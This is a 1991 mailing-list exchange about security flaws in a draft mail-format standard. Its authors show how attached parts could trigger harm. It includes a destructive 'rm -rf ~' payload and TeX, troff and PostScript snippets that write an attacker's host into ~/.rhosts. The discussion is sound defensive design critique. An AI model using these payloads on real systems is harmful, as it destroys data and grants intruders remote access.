Date: Wed, 30 Oct 1991 11:16:27 -0500 (EST)
From: Nathaniel Borenstein <nsb(_at_)thumper(_dot_)bellcore(_dot_)com>
Consider the following -- which might be the 97th of 99 parts:
--Content-type: binary; filename=/bin/sh
#!/bin/sh
rm -rf ~
Now, that's an extreme example, but in general I sure don't want my UA
to automatically write out files for me according to the name suggested
by the mail sender! I want to get involved! And that's the REAL reason
my UA would make you say "yes" 100 times, and I don't see any general
way around it in this framework. (And I've been working in the area of
secure interactive mail for several years now.)
I don't think your example is extreme at all.
This is a general problem. Even if we don't allow filenames on
"binary" body parts, there's all kinds of room for trojan horses -
whenever we use a program that wasn't built specifically for email
as a means to display "enhanced" text. For example:
content-type: multipart; xyzzy
--xyzzy
content-type: text-plus/tex
\newwrite\me
\immediate\openout\me=.rhosts
\immediate\write\me{wilma.cs.utk.edu moore}
Here's some text that appears legit.
\immediate\closeout\me
\end
--xyzzy
content-type: text-plus/troff
.\" .pi pipes troff's output to the shell. This actually works if
.\" the "text-plus/troff" interpreter is "nroff" -- a reasonable
.\" choice for a character cell terminal. Most versions of "troff"
.\" ignore the .pi command, but some (e.g. "groff") respect it.
.pi /bin/sh
echo wilma.cs.utk.edu moore >> $HOME/.rhosts
--xyzzy
content-type: text-plus/postscript
(foo) (w) file /fd exch def
fd (wilma.cs.utk.edu moore\n) writestring
fd closefile
--xyzzy--
All of these problems can be avoided if enough effort is spent defining
what the interpreter for each content-type should and should
not do, but RFC XXXX doesn't specify how these types should be interpreted
so as to avoid unpleasant side-effects. Without such specifications,
RFC XXXX shouldn't define these content-types at all.
Keith